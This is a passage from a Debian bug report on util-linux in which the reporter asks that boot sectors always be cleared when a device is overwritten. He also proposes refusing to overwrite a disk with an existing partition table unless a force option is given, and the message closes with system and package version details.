/dev/vg/swap2 -> bootbits not cleared if geometry check enabled
 bootbits cleared if geometry check disabled
Obviously, they should be cleared in both cases.

Actually, shouldn't the bootbits *always* be overwritten, as the MBR /
disklabel that might be there would cause the (now overwritten) contents
of the device to be interpreted incorrectly ? Or is there a case where the
data in the bootbits is still relevant after overwriting the contents of
the device ?

Wouldn't it be a good alternative to just check the first block(s) on
the candidate device for the presence of an MBR, disklabel or GPT ? If
there is one, the action could be refused unless the '-f' option was
given. This catches the obvious and most destructive mistakes, without
getting too much in the user's way.

Regards,

Rogier.

-- System Information:
Debian Release: squeeze/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages util-linux depends on:
ii  debconf [debconf-2.0]   1.5.35   Debian configuration management 
sy
ii  dpkg1.15.8.5 Debian package management system
ii  initscripts 2.88dsf-12   scripts for initializing and 
shutt
ii  install-info4.13a.dfsg.1-5   Manage installed documentation in 
ii  libblkid1   2.17.2-3.2   block device id library
ii  libc6   2.11.2-6 Embedded GNU C Library: Shared 
lib
ii  libncurses5 5.7+20100313-3   shared libraries for terminal 
hand
ii  libselinux1 2.0.96-1 SELinux runtime shared libraries
ii  libslang2   2.2.2-4  The S-Lang programming library - 
r
ii  libuuid12.17.2-3.2   Universally Unique ID library
ii  lsb-base3.2-23.1 Linux Standard Base 3.2 init 
scrip
ii  tzdata  2010l-1  time zone and daylight-saving 
time
ii  zlib1g  1:1.2.3.4.dfsg-3 compression library - runtime

util-linux recommends no packages.

Versions of packages util-linux suggests:
ii  console-tools  1:0.2.3dbs-69 Linux console and font utilities
ii  dosfstools 3.0.9-1   utilities for making and checking 
pn  util-linux-locales (no description available)

-- debconf information:
  util-linux/noauto-with-nonzero-passnum:



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org